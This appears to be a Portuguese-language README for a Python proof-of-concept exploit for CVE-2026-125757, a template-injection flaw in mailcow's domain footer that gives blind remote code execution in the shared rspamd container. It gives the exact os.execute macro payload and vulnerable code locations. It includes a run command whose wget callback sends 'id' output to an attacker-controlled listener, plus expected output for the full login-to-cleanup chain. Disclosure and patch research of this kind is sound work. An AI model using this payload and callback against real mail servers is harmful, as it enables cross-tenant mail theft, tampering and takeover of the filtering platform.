PoC em Python para CVE-2026-125757: explora a SSTI no rodapé de domínio do mailcow no motor jinja/lupa do rspamd para obter RCE cego entre tenants via SMTP autenticado.
Um administrador de domínio pode armazenar um rodapé de escopo de domínio cujo HTML é mantido literalmente e posteriormente renderizado pelo
motor jinja/lupa do rspamd na próxima mensagem de saída autenticada do domínio. Um valor padrão de macro jinja
no rodapé é compilado pelo lupa com load('return '..default) sem o ambiente de sandbox,
portanto é executado nos globais reais do LuaJIT do rspamd, onde os.execute é alcançável — execução arbitrária
de comandos, não expansão de strings. O rspamd é um único contêiner compartilhado por todos os tenants, portanto um
administrador de domínio único alcança o correio em trânsito de todos os tenants e a plataforma de filtragem como um todo.
| Afetado | mailcow/mailcow-dockerized < 2026-11 (master @ 55982ac74bfd35581cc44b122ab5fc659e3ae90a; rspamd 4.2.1-1) |
| Corrigido | >= 2026-11 (rodapé renderizado com substituição apenas de variáveis, sem sintaxe de controle de template) |
| Pré-requisitos | domain-admin de ≥1 domínio, atuando em sua própria sessão autenticada; uma mensagem de saída autenticada para disparar. Sem admin global, acesso ao host ou posição de rede |
| Impacto | RCE no contêiner rspamd compartilhado → ler/modificar/injetar o correio de todos os tenants, desativar a filtragem de spam/AV em toda a plataforma, alcançar o redis do rspamd; DoS entre contêineres via MC_CHANNEL. |
| Severidade | CVSS 3.1 = 9.1 (Crítica) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| CWE | CWE-1336 |
O rodapé é armazenado literalmente atrás de uma única barreira de escopo de tenant e alimentado, sem modificação, em um motor de template:
// src/data/web/inc/functions.mailbox.inc.php — case 'domain_wide_footer'
$footer_html = $attr['html']; // :4187 stored verbatim, no template sanitisation
... hasDomainAccess($_SESSION['...'], $domain) ... // :4251 only gate (tenant scope)
INSERT INTO domain_footer (html, plain, ...) ... // :4263
// reached unauthenticated-to-the-sink via: POST /api/v1/edit/domain/footer
-- src/data/conf/rspamd/rspamd.local.lua — MOO_FOOTER prefilter renders the stored footer
lua_util.jinja_template(footer.html, ...) -- :847 (and footer.plain :850) [feed: dynmaps/footer.php]
-- contrib/lua-lupa/lupa.lua — a macro default value is compiled OUTSIDE the sandbox env
load('return ' .. default) -- :487 -> runs in real _G; os.execute reachable
-- :554 {% filter %} params share the same path
Um rodapé no formato {% macro p(a=os.execute("<cmd>")) %}{% endmacro %}footer portanto executa <cmd>
dentro do contêiner rspamd quando MOO_FOOTER o renderiza. O rodapé é renderizado tanto para a parte HTML quanto para a
parte plain, portanto o comando é executado em cada mensagem de saída autenticada do domínio.
CVE-2026-125757.py (apenas biblioteca padrão, Python 3.8+) percorre toda a cadeia e imprime cada etapa — login → criar uma
caixa de correio descartável → inserir o payload do rodapé → disparar via SMTP → verificar → limpar. O comando é executado às cegas
(nenhum stdout é retornado via SMTP), portanto aponte --cmd para um listener fora de banda que você controla.
# on your host, start a listener first: python3 -m http.server 8000
# blind RCE, confirmed by the callback (base64 so `id` output survives the URL path):
python3 CVE-2026-125757.py --url https://mail.example --username da_a --password 'PW' \
--domain tenanta.test --cmd 'wget -qO- http://10.0.0.1:8000/$( id | base64 -w0 )'
Saída esperada:
[1/5] login as domain admin 'da_a' ............. ok
[2/5] create throwaway mailbox ................. ok ([email protected])
[3/5] plant SSTI footer payload ................ ok
[4/5] trigger: send authenticated mail (SMTP 587) ... ok (4.2s)
[5/5] verify execution ......................... ok
[+] PAYLOAD DELIVERED: footer rendered, os.execute('wget ...') ran in rspamd
Blind RCE (no stdout over SMTP) - confirm on your out-of-band listener
[*] cleanup: reset footer ...................... ok
[*] cleanup: delete mailbox .................... ok ([email protected])